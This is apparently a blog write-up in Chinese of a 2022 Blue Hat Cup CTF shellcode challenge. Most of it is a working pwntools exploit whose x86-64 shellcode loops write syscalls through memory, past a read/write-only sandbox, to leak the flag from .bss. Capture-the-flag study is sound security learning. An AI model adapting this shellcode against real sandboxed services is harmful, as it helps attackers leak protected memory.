2022第六届蓝帽杯CTF shellcode wp

hhhh,当时打比赛,人在外面,下午来的时候已经写完脚本爆破,但写的时候,直接while(True)循环来写的,当时并不知道可以在汇编里面写循环,晚上查看汇编指令,发现Loop1是个循环指令,这个循环指令和j1来进行合作跳转,通过爆破(fuzz)爆破出接近bss段flag的地址上,然后再加上bss上的那个地址,直接syscall 1,就能write出来了,虽然沙盒禁用了沙盒,只能用read和write,只需用write就行,read用不到hhh

exp:

from pwn import *
context(log_level='debug',os='linux',arch='amd64')
io=process("./escape_shellcode")
shellcode = """
    lea r13, [rip]
    mov rsi, r13
    sub rsi, 0x4000
    mov rdi, 1
    mov rdx, 0x700
    Loop1:
    sub rsi, 0x900
    mov rax, 1
    syscall
    mov r12,rsi
    cmp rax, 0
    jl Loop1 
    mov rdi,1
    mov rsi,r12
    and rsi, 0xfffffffffffff000
    add rsi,0x110
    mov rdx,0x700
    mov rax,1
    syscall
    mov rsi,r12
    and rsi, 0xfffffffffffff000
    mov rax,1
    mov rdx,0x800
    syscall
"""
gdb.attach(io)
io.sendline(asm(shellcode))
raw_input()
io.interactive() 

总结:出题人是我die,做之前本来不想爆破,直接用寄存器给的地址来用,结果,它在之前给初始化了,hhhh,

本文链接:

http://azly.top/index.php/archives/77/
1 + 3 =
快来做第一个评论的人吧~